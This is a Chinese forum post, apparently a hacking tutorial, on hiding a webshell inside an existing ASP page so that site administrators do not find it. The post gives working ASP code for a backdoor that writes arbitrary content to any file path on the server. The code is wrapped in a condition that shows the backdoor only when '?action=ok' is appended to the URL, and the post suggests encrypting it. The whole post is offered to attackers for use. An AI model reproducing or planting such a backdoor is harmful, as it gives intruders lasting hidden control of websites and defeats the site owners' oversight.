隐蔽的插入型ASP木马

得到网站的webshell后，如果被管理员发现，那么你的马就没用了，被删了！管理员都也不都是混饭吃的，所以我们要隐藏好我们的WEBSHELL, 下面是关于ASP插入型木马几种利用方法不容易被发现~~~呵呵我拿个webshell给大家做演示: 好，我们随便找一个要做手脚的ASP文件 1.在我们要做手脚的ASP文件里加入如下内容 <% if request(action)=ok then %> ################################## <% end if %> 在#########################处加入你的shell代码代码我已经提供了如newmm.asp 木马 (建议加密代码)：大家很熟悉吧，我以前的教程做过分析了 <% if request(action)=ok then %> <%dim objFSO%> <%dim fdata%> <%dim objCountFile%> <%on error resume next%> <%Set objFSO = Server.CreateObject(Scripting.FileSystemObject)%> <%if Trim(request(syfdpath))<> then%> <%fdata = request(cyfddata)%> <%Set objCountFile=objFSO.CreateTextFile(request(syfdpath),True)%> <%objCountFile.Write fdata%> <%if err =0 then%> <%response.write <font color=red>save Success!</font>%> <%else%> <%response.write <font color=red>Save UnSuccess!</font>%> <%end if%> <%err.clear%> <%end if%> <%objCountFile.Close%> <%Set objCountFile=Nothing%> <%Set objFSO = Nothing%> <%Response.write <form action= method=post>%> <%Response.write 保存文件的<font color=red>绝对路径(包括文件名:如D:\web\x.asp):</font>%> <%Response.Write <input type=text name=syfdpath width=32 size=50>%> <%Response.Write <br>%> <%Response.write 本文件绝对路径%> <%=server.mappath(Request.ServerVariables(SCRIPT_NAME))%> <%Response.write <br>%> <%Response.write 输入的内容:%> <%Response.write <textarea name=cyfddata cols=80 rows=10 width=32></textarea>%> <%Response.write <input type=submit value=保存>%> <%Response.write </form>%> <% end if%> 加入以后不影响正常浏揽访问的时候在你做了手脚的ASP文件后面加上?action=ok（例如:index.asp?action=ok）就可以调出shell了，不影响正常浏揽大家看到了吧，呵呵

收藏分享评分

回复引用

订阅 TOP

龙哥